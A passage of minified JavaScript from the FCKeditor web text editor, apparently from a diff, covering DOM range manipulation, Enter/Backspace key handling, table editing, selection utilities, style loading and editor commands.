break;};this._Range.setStartBefore(B);};if (this.EndBlock) this.SetEnd(this.EndBlock,2);else{B=this._Range.endContainer;if (B.nodeType==1) B=B.childNodes[this._Range.endOffset]||B.lastChild;if (!B) return;while (true){oSibling=B.nextSibling;if (!oSibling){if (B.parentNode!=this.EndBlockLimit) B=B.parentNode;else break;}else if (oSibling.nodeType!=1||!(/^(?:P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|DT|DE)$/).test(oSibling.nodeName.toUpperCase())){B=oSibling;}else break;};this._Range.setEndAfter(B);};this._UpdateElementInfo();}},Release:function(A){if (!A) this.Window=null;this.StartContainer=null;this.StartBlock=null;this.StartBlockLimit=null;this.EndContainer=null;this.EndBlock=null;this.EndBlockLimit=null;this._Range=null;}};
+FCKDomRange.prototype.MoveToSelection=function(){this.Release(true);var A=this.Window.getSelection();if (A.rangeCount==1){this._Range=FCKW3CRange.CreateFromRange(this.Window.document,A.getRangeAt(0));this._UpdateElementInfo();}};FCKDomRange.prototype.Select=function(){var A=this._Range;if (A){var B=this.Window.document.createRange();B.setStart(A.startContainer,A.startOffset);try{B.setEnd(A.endContainer,A.endOffset);}catch (e){if (e.toString().Contains('NS_ERROR_ILLEGAL_VALUE')){A.collapse(true);B.setEnd(A.endContainer,A.endOffset);}else throw(e);};var C=this.Window.getSelection();C.removeAllRanges();C.addRange(B);}};
+var FCKDocumentFragment=function(A,B){this.RootNode=B||A.createDocumentFragment();};FCKDocumentFragment.prototype={AppendTo:function(A){A.appendChild(this.RootNode);},InsertAfterNode:function(A){FCKDomTools.InsertAfterNode(A,this.RootNode);}}
+var FCKW3CRange=function(A){this._Document=A;this.startContainer=null;this.startOffset=null;this.endContainer=null;this.endOffset=null;this.collapsed=true;};FCKW3CRange.CreateRange=function(A){return new FCKW3CRange(A);};FCKW3CRange.CreateFromRange=function(A,B){var C=FCKW3CRange.CreateRange(A);C.setStart(B.startContainer,B.startOffset);C.setEnd(B.endContainer,B.endOffset);return C;};FCKW3CRange.prototype={_UpdateCollapsed:function(){this.collapsed=(this.startContainer==this.endContainer&&this.startOffset==this.endOffset);},setStart:function(A,B){this.startContainer=A;this.startOffset=B;if (!this.endContainer){this.endContainer=A;this.endOffset=B;};this._UpdateCollapsed();},setEnd:function(A,B){this.endContainer=A;this.endOffset=B;if (!this.startContainer){this.startContainer=A;this.startOffset=B;};this._UpdateCollapsed();},setStartAfter:function(A){this.setStart(A.parentNode,FCKDomTools.GetIndexOf(A)+1);},setStartBefore:function(A){this.setStart(A.parentNode,FCKDomTools.GetIndexOf(A));},setEndAfter:function(A){this.setEnd(A.parentNode,FCKDomTools.GetIndexOf(A)+1);},setEndBefore:function(A){this.setEnd(A.parentNode,FCKDomTools.GetIndexOf(A));},collapse:function(A){if (A){this.endContainer=this.startContainer;this.endOffset=this.startOffset;}else{this.startContainer=this.endContainer;this.startOffset=this.endOffset;};this.collapsed=true;},selectNodeContents:function(A){this.setStart(A,0);this.setEnd(A,A.nodeType==3?A.data.length:A.childNodes.length);},insertNode:function(A){var B=this.startContainer;var C=this.startOffset;if (B.nodeType==3){B.splitText(C);if (B==this.endContainer) this.setEnd(B.nextSibling,this.endOffset-this.startOffset);FCKDomTools.InsertAfterNode(B,A);return;}else{B.insertBefore(A,B.childNodes[C]||null);if (B==this.endContainer){this.endOffset++;this.collapsed=false;}}},deleteContents:function(){if (this.collapsed) return;this._ExecContentsAction(0);},extractContents:function(){var A=new FCKDocumentFragment(this._Document);if (!this.collapsed) this._ExecContentsAction(1,A);return A;},cloneContents:function(){var A=new FCKDocumentFragment(this._Document);if (!this.collapsed) this._ExecContentsAction(2,A);return A;},_ExecContentsAction:function(A,B){var C=this.startContainer;var D=this.endContainer;var E=this.startOffset;var F=this.endOffset;var G=false;var H=false;if (D.nodeType==3) D=D.splitText(F);else{if (D.childNodes.length>0){if (F>D.childNodes.length-1){D=FCKDomTools.InsertAfterNode(D.lastChild,this._Document.createTextNode(''));H=true;}else D=D.childNodes[F];}};if (C.nodeType==3){C.splitText(E);if (C==D) D=C.nextSibling;}else{if (C.childNodes.length>0&&E<=C.childNodes.length-1){if (E==0){C=C.insertBefore(this._Document.createTextNode(''),C.firstChild);G=true;}else C=C.childNodes[E].previousSibling;}};var I=FCKDomTools.GetParents(C);var J=FCKDomTools.GetParents(D);var i,topStart,topEnd;for (i=0;i<I.length;i++){topStart=I[i];topEnd=J[i];if (topStart!=topEnd) break;};var K,levelStartNode,levelClone,currentNode,currentSibling;if (B) K=B.RootNode;for (var j=i;j<I.length;j++){levelStartNode=I[j];if (K&&levelStartNode!=C) levelClone=K.appendChild(levelStartNode.cloneNode(levelStartNode==C));currentNode=levelStartNode.nextSibling;while(currentNode){if (currentNode==J[j]||currentNode==D) break;currentSibling=currentNode.nextSibling;if (A==2) K.appendChild(currentNode.cloneNode(true));else{currentNode.parentNode.removeChild(currentNode);if (A==1) K.appendChild(currentNode);};currentNode=currentSibling;};if (K) K=levelClone;};if (B) K=B.RootNode;for (var k=i;k<J.length;k++){levelStartNode=J[k];if (A>0&&levelStartNode!=D) levelClone=K.appendChild(levelStartNode.cloneNode(levelStartNode==D));if (!I[k]||levelStartNode.parentNode!=I[k].parentNode){currentNode=levelStartNode.previousSibling;while(currentNode){if (currentNode==I[k]||currentNode==C) break;currentSibling=currentNode.previousSibling;if (A==2) K.insertBefore(currentNode.cloneNode(true),K.firstChild);else{currentNode.parentNode.removeChild(currentNode);if (A==1) K.insertBefore(currentNode,K.firstChild);};currentNode=currentSibling;}};if (K) K=levelClone;};if (A==2){var L=this.startContainer;if (L.nodeType==3){L.data+=L.nextSibling.data;L.parentNode.removeChild(L.nextSibling);};var M=this.endContainer;if (M.nodeType==3&&M.nextSibling){M.data+=M.nextSibling.data;M.parentNode.removeChild(M.nextSibling);}}else{if (topStart&&topEnd&&(C.parentNode!=topStart.parentNode||D.parentNode!=topEnd.parentNode)) this.setStart(topEnd.parentNode,FCKDomTools.GetIndexOf(topEnd));this.collapse(true);};if(G) C.parentNode.removeChild(C);if(H&&D.parentNode) D.parentNode.removeChild(D);},cloneRange:function(){return FCKW3CRange.CreateFromRange(this._Document,this);},toString:function(){var A=this.cloneContents();var B=this._Document.createElement('div');A.AppendTo(B);return B.textContent||B.innerText;}};
+var FCKEnterKey=function(A,B,C){this.Window=A;this.EnterMode=B||'p';this.ShiftEnterMode=C||'br';var D=new FCKKeystrokeHandler(false);D._EnterKey=this;D.OnKeystroke=FCKEnterKey_OnKeystroke;D.SetKeystrokes([[13,'Enter'],[SHIFT+13,'ShiftEnter'],[8,'Backspace'],[46,'Delete']]);D.AttachToElement(A.document);};function FCKEnterKey_OnKeystroke(A,B){var C=this._EnterKey;try{switch (B){case 'Enter':return C.DoEnter();break;case 'ShiftEnter':return C.DoShiftEnter();break;case 'Backspace':return C.DoBackspace();break;case 'Delete':return C.DoDelete();}}catch (e){};return false;};FCKEnterKey.prototype.DoEnter=function(A,B){this._HasShift=(B===true);var C=A||this.EnterMode;if (C=='br') return this._ExecuteEnterBr();else return this._ExecuteEnterBlock(C);};FCKEnterKey.prototype.DoShiftEnter=function(){return this.DoEnter(this.ShiftEnterMode,true);};FCKEnterKey.prototype.DoBackspace=function(){var A=false;var B=new FCKDomRange(this.Window);B.MoveToSelection();if (!B.CheckIsCollapsed()) return false;var C=B.StartBlock;var D=B.EndBlock;if (B.StartBlockLimit==B.EndBlockLimit&&C&&D){if (!B.CheckIsCollapsed()){var E=B.CheckEndOfBlock();B.DeleteContents();if (C!=D){B.SetStart(D,1);B.SetEnd(D,1);};B.Select();A=(C==D);};if (B.CheckStartOfBlock()){var F=B.StartBlock;var G=FCKDomTools.GetPreviousSourceElement(F,true,['BODY',B.StartBlockLimit.nodeName],['UL','OL']);A=this._ExecuteBackspace(B,G,F);}else if (FCKBrowserInfo.IsGecko){B.Select();}};B.Release();return A;};FCKEnterKey.prototype._ExecuteBackspace=function(A,B,C){var D=false;if (!B&&C.nodeName.IEquals('LI')&&C.parentNode.parentNode.nodeName.IEquals('LI')){B=C.parentNode.parentNode;C=FCKListHandler.OutdentListItem(C);};if (B&&B.nodeName.IEquals('LI')){var E=FCKDomTools.GetLastChild(B,['UL','OL']);while (E){B=FCKDomTools.GetLastChild(E,'LI');E=FCKDomTools.GetLastChild(B,['UL','OL']);}};if (B&&C){if (C.nodeName.IEquals('LI')&&!B.nodeName.IEquals('LI')) C=FCKListHandler.OutdentListItem(C);var F=C.parentNode;if (B.nodeName.IEquals('TABLE','HR')){FCKDomTools.RemoveNode(B);D=true;}else{FCKDomTools.RemoveNode(C);while (F.innerHTML.Trim().length==0){var G=F.parentNode;G.removeChild(F);F=G;};FCKDomTools.TrimNode(C);FCKDomTools.TrimNode(B);A.SetStart(B,2);A.Collapse(true);var H=A.CreateBookmark();FCKDomTools.MoveChildren(C,B);A.MoveToBookmark(H);A.Select();D=true;}};return D;};FCKEnterKey.prototype.DoDelete=function(){var A=false;var B=new FCKDomRange(this.Window);B.MoveToSelection();if (B.CheckIsCollapsed()&&B.CheckEndOfBlock(FCKBrowserInfo.IsGecko)){var C=B.StartBlock;var D=FCKDomTools.GetNextSourceElement(C,true,[B.StartBlockLimit.nodeName],['UL','OL']);A=this._ExecuteBackspace(B,C,D);};B.Release();return A;};FCKEnterKey.prototype._ExecuteEnterBlock=function(A){var B=new FCKDomRange(this.Window);B.MoveToSelection();if (B.StartBlockLimit==B.EndBlockLimit){if (!B.StartBlock) this._FixBlock(B,true,A);if (!B.EndBlock) this._FixBlock(B,false,A);var C=B.StartBlock;var D=B.EndBlock;if (!B.CheckIsEmpty()) B.DeleteContents();if (C==D){var E;var F=B.CheckStartOfBlock();var G=B.CheckEndOfBlock();if (F&&!G){E=C.cloneNode(false);if (FCKBrowserInfo.IsGeckoLike) E.innerHTML=GECKO_BOGUS;C.parentNode.insertBefore(E,C);if (FCKBrowserInfo.IsIE){B.MoveToNodeContents(E);B.Select();};B.MoveToElementStart(C);}else{if (G){var H=C.tagName.toUpperCase();if (F&&H=='LI'){var I=FCKListHandler.OutdentListItem(C);B.MoveToElementStart(I);}else{if ((/^H[1-6]$/).test(H)) E=this.Window.document.createElement(A);else E=C.cloneNode(false);if (FCKBrowserInfo.IsGeckoLike){E.innerHTML=GECKO_BOGUS;if (F) C.innerHTML=GECKO_BOGUS;}}}else{B.SetEnd(C,2);var J=B.ExtractContents();E=C.cloneNode(false);FCKDomTools.TrimNode(J.RootNode);if (J.RootNode.firstChild.nodeType==1&&J.RootNode.firstChild.tagName.toUpperCase().Equals('UL','OL')) E.innerHTML=GECKO_BOGUS;J.AppendTo(E);if (FCKBrowserInfo.IsGecko){var K=FCKDomTools.GetLastChild(E);if (!K||K.nodeName.toLowerCase()!='br'||K.getAttribute('type',2)!='_moz') E.appendChild(FCKTools.CreateBogusBR(this.Window.document));}};if (E){FCKDomTools.InsertAfterNode(C,E);B.MoveToElementStart(E);if (FCKBrowserInfo.IsGecko) E.scrollIntoView(false);}}}else{B.MoveToElementStart(D);};B.Select();};B.Release();return true;};FCKEnterKey.prototype._ExecuteEnterBr=function(A){var B=new FCKDomRange(this.Window);B.MoveToSelection();if (B.StartBlockLimit==B.EndBlockLimit){B.DeleteContents();B.MoveToSelection();var C=B.CheckStartOfBlock();var D=B.CheckEndOfBlock();var E=B.StartBlock?B.StartBlock.tagName.toUpperCase():'';var F=this._HasShift;if (!F&&E=='LI') return this._ExecuteEnterBlock(null);if (!F&&D&&(/^H[1-6]$/).test(E)){FCKDebug.Output('BR - Header');FCKDomTools.InsertAfterNode(B.StartBlock,this.Window.document.createElement('br'));if (FCKBrowserInfo.IsGecko) FCKDomTools.InsertAfterNode(B.StartBlock,this.Window.document.createTextNode(''));B.SetStart(B.StartBlock.nextSibling,FCKBrowserInfo.IsIE?3:1);}else{FCKDebug.Output('BR - No Header');var G=this.Window.document.createElement('br');B.InsertNode(G);if (FCKBrowserInfo.IsGecko) FCKDomTools.InsertAfterNode(G,this.Window.document.createTextNode(''));if (D&&FCKBrowserInfo.IsGecko){var H=FCKDomTools.GetLastChild(G.parentNode,'BR');if (H&&H.getAttribute('type',2)!='_moz') G.parentNode.appendChild(FCKTools.CreateBogusBR(this.Window.document));};if (FCKBrowserInfo.IsIE) B.SetStart(G,4);else B.SetStart(G.nextSibling,1);};B.Collapse(true);B.Select();};B.Release();return true;};FCKEnterKey.prototype._FixBlock=function(A,B,C){var D=A.CreateBookmark();A.Collapse(B);A.Expand('block_contents');var E=this.Window.document.createElement(C);A.ExtractContents().AppendTo(E);FCKDomTools.TrimNode(E);A.InsertNode(E);A.MoveToBookmark(D);}
+var FCKDocumentProcessor={};FCKDocumentProcessor._Items=[];FCKDocumentProcessor.AppendNew=function(){var A={};this._Items.AddItem(A);return A;};FCKDocumentProcessor.Process=function(A){var B,i=0;while((B=this._Items[i++])) B.ProcessDocument(A);};var FCKDocumentProcessor_CreateFakeImage=function(A,B){var C=FCK.EditorDocument.createElement('IMG');C.className=A;C.src=FCKConfig.FullBasePath+'images/spacer.gif';C.setAttribute('_fckfakelement','true',0);C.setAttribute('_fckrealelement',FCKTempBin.AddElement(B),0);return C;};if (FCKBrowserInfo.IsIE||FCKBrowserInfo.IsOpera){var FCKAnchorsProcessor=FCKDocumentProcessor.AppendNew();FCKAnchorsProcessor.ProcessDocument=function(A){var B=A.getElementsByTagName('A');var C;var i=B.length-1;while (i>=0&&(C=B[i--])){if (C.name.length>0){if (C.innerHTML!=''){if (FCKBrowserInfo.IsIE) C.className+=' FCK__AnchorC';}else{var D=FCKDocumentProcessor_CreateFakeImage('FCK__Anchor',C.cloneNode(true));D.setAttribute('_fckanchor','true',0);C.parentNode.insertBefore(D,C);C.parentNode.removeChild(C);}}}}};var FCKPageBreaksProcessor=FCKDocumentProcessor.AppendNew();FCKPageBreaksProcessor.ProcessDocument=function(A){var B=A.getElementsByTagName('DIV');var C;var i=B.length-1;while (i>=0&&(C=B[i--])){if (C.style.pageBreakAfter=='always'&&C.childNodes.length==1&&C.childNodes[0].style&&C.childNodes[0].style.display=='none'){var D=FCKDocumentProcessor_CreateFakeImage('FCK__PageBreak',C.cloneNode(true));C.parentNode.insertBefore(D,C);C.parentNode.removeChild(C);}}};var FCKFlashProcessor=FCKDocumentProcessor.AppendNew();FCKFlashProcessor.ProcessDocument=function(A){var B=A.getElementsByTagName('EMBED');var C;var i=B.length-1;while (i>=0&&(C=B[i--])){if (C.src.EndsWith('.swf',true)){var D=C.cloneNode(true);if (FCKBrowserInfo.IsIE){var E=['scale','play','loop','menu','wmode','quality'];for (var F=0;i<E.length;i++){var G=C.getAttribute(E[F]);if (G) D.setAttribute(E[F],G);}};var H=FCKDocumentProcessor_CreateFakeImage('FCK__Flash',D);H.setAttribute('_fckflash','true',0);FCKFlashProcessor.RefreshView(H,C);C.parentNode.insertBefore(H,C);C.parentNode.removeChild(C);}}};FCKFlashProcessor.RefreshView=function(A,B){if (B.width>0) A.style.width=FCKTools.ConvertHtmlSizeToStyle(B.width);if (B.height>0) A.style.height=FCKTools.ConvertHtmlSizeToStyle(B.height);};FCK.GetRealElement=function(A){var e=FCKTempBin.Elements[A.getAttribute('_fckrealelement')];if (A.getAttribute('_fckflash')){if (A.style.width.length>0) e.width=FCKTools.ConvertStyleSizeToHtml(A.style.width);if (A.style.height.length>0) e.height=FCKTools.ConvertStyleSizeToHtml(A.style.height);};return e;};
+var FCKSelection=FCK.Selection={};
+FCKSelection.GetType=function(){this._Type='Text';var A;try { A=FCK.EditorWindow.getSelection();}catch (e) {};if (A&&A.rangeCount==1){var B=A.getRangeAt(0);if (B.startContainer==B.endContainer&&(B.endOffset-B.startOffset)==1&&B.startContainer.nodeType!=Node.TEXT_NODE) this._Type='Control';};return this._Type;};FCKSelection.GetSelectedElement=function(){if (this.GetType()=='Control'){var A=FCK.EditorWindow.getSelection();return A.anchorNode.childNodes[A.anchorOffset];};return null;};FCKSelection.GetParentElement=function(){if (this.GetType()=='Control') return FCKSelection.GetSelectedElement().parentNode;else{var A=FCK.EditorWindow.getSelection();if (A){var B=A.anchorNode;while (B&&B.nodeType!=1) B=B.parentNode;return B;}};return null;};FCKSelection.SelectNode=function(A){var B=FCK.EditorDocument.createRange();B.selectNode(A);var C=FCK.EditorWindow.getSelection();C.removeAllRanges();C.addRange(B);};FCKSelection.Collapse=function(A){var B=FCK.EditorWindow.getSelection();if (A==null||A===true) B.collapseToStart();else B.collapseToEnd();};FCKSelection.HasAncestorNode=function(A){var B=this.GetSelectedElement();if (!B&&FCK.EditorWindow){try              { B=FCK.EditorWindow.getSelection().getRangeAt(0).startContainer;}catch(e){}};while (B){if (B.nodeType==1&&B.tagName==A) return true;B=B.parentNode;};return false;};FCKSelection.MoveToAncestorNode=function(A){var B;var C=this.GetSelectedElement();if (!C) C=FCK.EditorWindow.getSelection().getRangeAt(0).startContainer;while (C){if (C.nodeName==A) return C;C=C.parentNode;};return null;};FCKSelection.Delete=function(){var A=FCK.EditorWindow.getSelection();for (var i=0;i<A.rangeCount;i++){A.getRangeAt(i).deleteContents();};return A;};
+var FCKTableHandler={};FCKTableHandler.InsertRow=function(){var A=FCKSelection.MoveToAncestorNode('TR');if (!A) return;var B=A.cloneNode(true);A.parentNode.insertBefore(B,A);FCKTableHandler.ClearRow(A);};FCKTableHandler.DeleteRows=function(A){if (!A) A=FCKSelection.MoveToAncestorNode('TR');if (!A) return;var B=FCKTools.GetElementAscensor(A,'TABLE');if (B.rows.length==1){FCKTableHandler.DeleteTable(B);return;};A.parentNode.removeChild(A);};FCKTableHandler.DeleteTable=function(A){if (!A){A=FCKSelection.GetSelectedElement();if (!A||A.tagName!='TABLE') A=FCKSelection.MoveToAncestorNode('TABLE');};if (!A) return;FCKSelection.SelectNode(A);FCKSelection.Collapse();A.parentNode.removeChild(A);};FCKTableHandler.InsertColumn=function(){var A=FCKSelection.MoveToAncestorNode('TD')||FCKSelection.MoveToAncestorNode('TH');if (!A) return;var B=FCKTools.GetElementAscensor(A,'TABLE');var C=A.cellIndex+1;for (var i=0;i<B.rows.length;i++){var D=B.rows[i];if (D.cells.length<C) continue;A=D.cells[C-1].cloneNode(false);if (FCKBrowserInfo.IsGecko) A.innerHTML=GECKO_BOGUS;var E=D.cells[C];if (E) D.insertBefore(A,E);else D.appendChild(A);}};FCKTableHandler.DeleteColumns=function(){var A=FCKSelection.MoveToAncestorNode('TD')||FCKSelection.MoveToAncestorNode('TH');if (!A) return;var B=FCKTools.GetElementAscensor(A,'TABLE');var C=A.cellIndex;for (var i=B.rows.length-1;i>=0;i--){var D=B.rows[i];if (C==0&&D.cells.length==1){FCKTableHandler.DeleteRows(D);continue;};if (D.cells[C]) D.removeChild(D.cells[C]);}};FCKTableHandler.InsertCell=function(A){var B=A?A:FCKSelection.MoveToAncestorNode('TD');if (!B) return null;var C=FCK.EditorDocument.createElement('TD');if (FCKBrowserInfo.IsGecko) C.innerHTML=GECKO_BOGUS;if (B.cellIndex==B.parentNode.cells.length-1){B.parentNode.appendChild(C);}else{B.parentNode.insertBefore(C,B.nextSibling);};return C;};FCKTableHandler.DeleteCell=function(A){if (A.parentNode.cells.length==1){FCKTableHandler.DeleteRows(FCKTools.GetElementAscensor(A,'TR'));return;};A.parentNode.removeChild(A);};FCKTableHandler.DeleteCells=function(){var A=FCKTableHandler.GetSelectedCells();for (var i=A.length-1;i>=0;i--){FCKTableHandler.DeleteCell(A[i]);}};FCKTableHandler.MergeCells=function(){var A=FCKTableHandler.GetSelectedCells();if (A.length<2) return;if (A[0].parentNode!=A[A.length-1].parentNode) return;var B=isNaN(A[0].colSpan)?1:A[0].colSpan;var C='';var D=FCK.EditorDocument.createDocumentFragment();for (var i=A.length-1;i>=0;i--){var E=A[i];for (var c=E.childNodes.length-1;c>=0;c--){var F=E.removeChild(E.childNodes[c]);if ((F.hasAttribute&&F.hasAttribute('_moz_editor_bogus_node'))||(F.getAttribute&&F.getAttribute('type',2)=='_moz')) continue;D.insertBefore(F,D.firstChild);};if (i>0){B+=isNaN(E.colSpan)?1:E.colSpan;FCKTableHandler.DeleteCell(E);}};A[0].colSpan=B;if (FCKBrowserInfo.IsGecko&&D.childNodes.length==0) A[0].innerHTML=GECKO_BOGUS;else A[0].appendChild(D);};FCKTableHandler.SplitCell=function(){var A=FCKTableHandler.GetSelectedCells();if (A.length!=1) return;var B=this._CreateTableMap(A[0].parentNode.parentNode);var C=FCKTableHandler._GetCellIndexSpan(B,A[0].parentNode.rowIndex,A[0]);var D=this._GetCollumnCells(B,C);for (var i=0;i<D.length;i++){if (D[i]==A[0]){var E=this.InsertCell(A[0]);if (!isNaN(A[0].rowSpan)&&A[0].rowSpan>1) E.rowSpan=A[0].rowSpan;}else{if (isNaN(D[i].colSpan)) D[i].colSpan=2;else D[i].colSpan+=1;}}};FCKTableHandler._GetCellIndexSpan=function(A,B,C){if (A.length<B+1) return null;var D=A[B];for (var c=0;c<D.length;c++){if (D[c]==C) return c;};return null;};FCKTableHandler._GetCollumnCells=function(A,B){var C=[];for (var r=0;r<A.length;r++){var D=A[r][B];if (D&&(C.length==0||C[C.length-1]!=D)) C[C.length]=D;};return C;};FCKTableHandler._CreateTableMap=function(A){var B=A.rows;var r=-1;var C=[];for (var i=0;i<B.length;i++){r++;if (!C[r]) C[r]=[];var c=-1;for (var j=0;j<B[i].cells.length;j++){var D=B[i].cells[j];c++;while (C[r][c]) c++;var E=isNaN(D.colSpan)?1:D.colSpan;var F=isNaN(D.rowSpan)?1:D.rowSpan;for (var G=0;G<F;G++){if (!C[r+G]) C[r+G]=[];for (var H=0;H<E;H++){C[r+G][c+H]=B[i].cells[j];}};c+=E-1;}};return C;};FCKTableHandler.ClearRow=function(A){var B=A.cells;for (var i=0;i<B.length;i++){if (FCKBrowserInfo.IsGecko) B[i].innerHTML=GECKO_BOGUS;else B[i].innerHTML='';}};
+FCKTableHandler.GetSelectedCells=function(){var A=[];var B=FCK.EditorWindow.getSelection();if (B.rangeCount==1&&B.anchorNode.nodeType==3){var C=FCKTools.GetElementAscensor(B.anchorNode,'TD,TH');if (C){A[0]=C;return A;}};for (var i=0;i<B.rangeCount;i++){var D=B.getRangeAt(i);var E;if (D.startContainer.tagName.Equals('TD','TH')) E=D.startContainer;else E=D.startContainer.childNodes[D.startOffset];if (E.tagName.Equals('TD','TH')) A[A.length]=E;};return A;};
+var FCKXml=function(){};FCKXml.prototype.LoadUrl=function(A){this.Error=false;var B=this;var C=FCKTools.CreateXmlObject('XmlHttp');C.open("GET",A,false);C.send(null);if (C.status==200||C.status==304) this.DOMDocument=C.responseXML;else if (C.status==0&&C.readyState==4) this.DOMDocument=C.responseXML;else this.DOMDocument=null;if (this.DOMDocument==null||this.DOMDocument.firstChild==null){this.Error=true;if (window.confirm('Error loading "'+A+'"\r\nDo you want to see more info?')) alert('URL requested: "'+A+'"\r\nServer response:\r\nStatus: '+C.status+'\r\nResponse text:\r\n'+C.responseText);}};FCKXml.prototype.SelectNodes=function(A,B){if (this.Error) return [];var C=[];var D=this.DOMDocument.evaluate(A,B?B:this.DOMDocument,this.DOMDocument.createNSResolver(this.DOMDocument.documentElement),XPathResult.ORDERED_NODE_ITERATOR_TYPE,null);if (D){var E=D.iterateNext();while(E){C[C.length]=E;E=D.iterateNext();}};return C;};FCKXml.prototype.SelectSingleNode=function(A,B){if (this.Error) return null;var C=this.DOMDocument.evaluate(A,B?B:this.DOMDocument,this.DOMDocument.createNSResolver(this.DOMDocument.documentElement),9,null);if (C&&C.singleNodeValue) return C.singleNodeValue;else return null;}
+var FCKStyleDef=function(A,B){this.Name=A;this.Element=B.toUpperCase();this.IsObjectElement=FCKRegexLib.ObjectElements.test(this.Element);this.Attributes={};};FCKStyleDef.prototype.AddAttribute=function(A,B){this.Attributes[A]=B;};FCKStyleDef.prototype.GetOpenerTag=function(){var s='<'+this.Element;for (var a in this.Attributes) s+=' '+a+'="'+this.Attributes[a]+'"';return s+'>';};FCKStyleDef.prototype.GetCloserTag=function(){return '</'+this.Element+'>';};FCKStyleDef.prototype.RemoveFromSelection=function(){if (FCKSelection.GetType()=='Control') this._RemoveMe(FCK.ToolbarSet.CurrentInstance.Selection.GetSelectedElement());else this._RemoveMe(FCK.ToolbarSet.CurrentInstance.Selection.GetParentElement());}
+FCKStyleDef.prototype.ApplyToSelection=function(){if (FCKSelection.GetType()=='Text'&&!this.IsObjectElement){var A=FCK.ToolbarSet.CurrentInstance.EditorWindow.getSelection();var e=FCK.ToolbarSet.CurrentInstance.EditorDocument.createElement(this.Element);for (var i=0;i<A.rangeCount;i++){e.appendChild(A.getRangeAt(i).extractContents());};this._AddAttributes(e);this._RemoveDuplicates(e);var B=A.getRangeAt(0);B.insertNode(e);}else{var C=FCK.ToolbarSet.CurrentInstance.Selection.GetSelectedElement();if (C.tagName==this.Element) this._AddAttributes(C);}};FCKStyleDef.prototype._AddAttributes=function(A){for (var a in this.Attributes){switch (a.toLowerCase()){case 'src':A.setAttribute('_fcksavedurl',this.Attributes[a],0);default:A.setAttribute(a,this.Attributes[a],0);}}};FCKStyleDef.prototype._RemoveDuplicates=function(A){for (var i=0;i<A.childNodes.length;i++){var B=A.childNodes[i];if (B.nodeType!=1) continue;this._RemoveDuplicates(B);if (this.IsEqual(B)) FCKTools.RemoveOuterTags(B);}};FCKStyleDef.prototype.IsEqual=function(e){if (e.tagName!=this.Element) return false;for (var a in this.Attributes){if (e.getAttribute(a)!=this.Attributes[a]) return false;};return true;};FCKStyleDef.prototype._RemoveMe=function(A){if (!A) return;var B=A.parentNode;if (A.nodeType==1&&this.IsEqual(A)){if (this.IsObjectElement){for (var a in this.Attributes) A.removeAttribute(a,0);return;}else FCKTools.RemoveOuterTags(A);};this._RemoveMe(B);}
+var FCKStylesLoader=function(){this.Styles={};this.StyleGroups={};this.Loaded=false;this.HasObjectElements=false;};FCKStylesLoader.prototype.Load=function(A){var B=new FCKXml();B.LoadUrl(A);var C=B.SelectNodes('Styles/Style');for (var i=0;i<C.length;i++){var D=C[i].attributes.getNamedItem('element').value.toUpperCase();var E=new FCKStyleDef(C[i].attributes.getNamedItem('name').value,D);if (E.IsObjectElement) this.HasObjectElements=true;var F=B.SelectNodes('Attribute',C[i]);for (var j=0;j<F.length;j++){var G=F[j].attributes.getNamedItem('name').value;var H=F[j].attributes.getNamedItem('value').value;if (G.toLowerCase()=='style'){var I=document.createElement('SPAN');I.style.cssText=H;H=I.style.cssText;};E.AddAttribute(G,H);};this.Styles[E.Name]=E;var J=this.StyleGroups[D];if (J==null){this.StyleGroups[D]=[];J=this.StyleGroups[D];};J[J.length]=E;};this.Loaded=true;}
+var FCKNamedCommand=function(A){this.Name=A;};FCKNamedCommand.prototype.Execute=function(){FCK.ExecuteNamedCommand(this.Name);};FCKNamedCommand.prototype.GetState=function(){return FCK.GetNamedCommandState(this.Name);};
+var FCKDialogCommand=function(A,B,C,D,E,F,G){this.Name=A;this.Title=B;this.Url=C;this.Width=D;this.Height=E;this.GetStateFunction=F;this.GetStateParam=G;this.Resizable=false;};FCKDialogCommand.prototype.Execute=function(){FCKDialog.OpenDialog('FCKDialog_'+this.Name,this.Title,this.Url,this.Width,this.Height,null,null,this.Resizable);};FCKDialogCommand.prototype.GetState=function(){if (this.GetStateFunction) return this.GetStateFunction(this.GetStateParam);else return 0;};var FCKUndefinedCommand=function(){this.Name='Undefined';};FCKUndefinedCommand.prototype.Execute=function(){alert(FCKLang.NotImplemented);};FCKUndefinedCommand.prototype.GetState=function(){return 0;};var FCKFontNameCommand=function(){this.Name='FontName';};FCKFontNameCommand.prototype.Execute=function(A){if (A==null||A==""){}else FCK.ExecuteNamedCommand('FontName',A);};FCKFontNameCommand.prototype.GetState=function(){return FCK.GetNamedCommandValue('FontName');};var FCKFontSizeCommand=function(){this.Name='FontSize';};FCKFontSizeCommand.prototype.Execute=function(A){if (typeof(A)=='string') A=parseInt(A,10);if (A==null||A==''){FCK.ExecuteNamedCommand('FontSize',3);}else FCK.ExecuteNamedCommand('FontSize',A);};FCKFontSizeCommand.prototype.GetState=function(){return FCK.GetNamedCommandValue('FontSize');};var FCKFormatBlockCommand=function(){this.Name='FormatBlock';};FCKFormatBlockCommand.prototype.Execute=function(A){if (A==null||A=='') FCK.ExecuteNamedCommand('FormatBlock','<P>');else if (A=='div'&&FCKBrowserInfo.IsGecko) FCK.ExecuteNamedCommand('FormatBlock','div');else FCK.ExecuteNamedCommand('FormatBlock','<'+A+'>');};FCKFormatBlockCommand.prototype.GetState=function(){return FCK.GetNamedCommandValue('FormatBlock');};var FCKPreviewCommand=function(){this.Name='Preview';};FCKPreviewCommand.prototype.Execute=function(){FCK.Preview();};FCKPreviewCommand.prototype.GetState=function(){return 0;};var FCKSaveCommand=function(){this.Name='Save';};FCKSaveCommand.prototype.Execute=function(){var A=FCK.GetParentForm();if (typeof(A.onsubmit)=='function'){var B=A.onsubmit();if (B!=null&&B===false) return;};A.submit();};FCKSaveCommand.prototype.GetState=function(){return 0;};var FCKNewPageCommand=function(){this.Name='NewPage';};FCKNewPageCommand.prototype.Execute=function(){FCKUndo.SaveUndoStep();FCK.SetHTML('');FCKUndo.Typing=true;};FCKNewPageCommand.prototype.GetState=function(){return 0;};var FCKSourceCommand=function(){this.Name='Source';};FCKSourceCommand.prototype.Execute=function(){if (FCKConfig.SourcePopup){var A=FCKConfig.ScreenWidth*0.65;var B=FCKConfig.ScreenHeight*0.65;FCKDialog.OpenDialog('FCKDialog_Source',FCKLang.Source,'dialog/fck_source.html',A,B,null,null,true);}else FCK.SwitchEditMode();};FCKSourceCommand.prototype.GetState=function(){return (FCK.EditMode==0?0:1);};var 